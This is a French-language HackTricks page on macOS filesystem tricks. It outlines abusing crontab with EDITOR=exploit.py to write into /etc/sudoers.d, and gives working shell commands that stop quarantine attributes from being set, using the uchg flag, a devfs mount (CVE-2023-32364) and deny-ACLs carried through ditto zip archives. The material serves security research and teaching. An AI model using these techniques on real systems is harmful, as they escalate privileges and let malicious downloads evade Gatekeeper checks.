hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md

5.8 KiB

Astuces pour macOS FS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

FD arbitraire

Si vous pouvez faire en sorte qu'un processus ouvre un fichier ou un dossier avec des privilèges élevés, vous pouvez exploiter crontab pour ouvrir un fichier dans /etc/sudoers.d avec EDITOR=exploit.py, ainsi exploit.py obtiendra le FD du fichier à l'intérieur de /etc/sudoers et l'exploitera.

Par exemple : https://youtu.be/f1HA5QhLQ7Y?t=21098

Astuces pour éviter les attributs de quarantaine xattrs

Drapeau uchg

Si un fichier/dossier a cet attribut immuable, il ne sera pas possible d'y mettre un xattr.

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

Montage defvfs

Un montage defvfs ne prend pas en charge les xattr, plus d'informations dans CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

Cet ACL empêche l'ajout de xattrs au fichier.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

Autorisation com.apple.acl.text

Le format de fichier AppleDouble copie un fichier avec ses ACEs.

Dans le code source, il est possible de voir que la représentation textuelle des ACL stockée à l'intérieur de l'attribut étendu appelé com.apple.acl.text sera définie comme ACL dans le fichier décompressé. Ainsi, si vous compressez une application dans un fichier zip avec le format de fichier AppleDouble avec une ACL qui empêche l'écriture d'autres attributs étendus... l'attribut étendu de mise en quarantaine ne sera pas défini dans l'application :

Consultez le rapport original pour plus d'informations.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥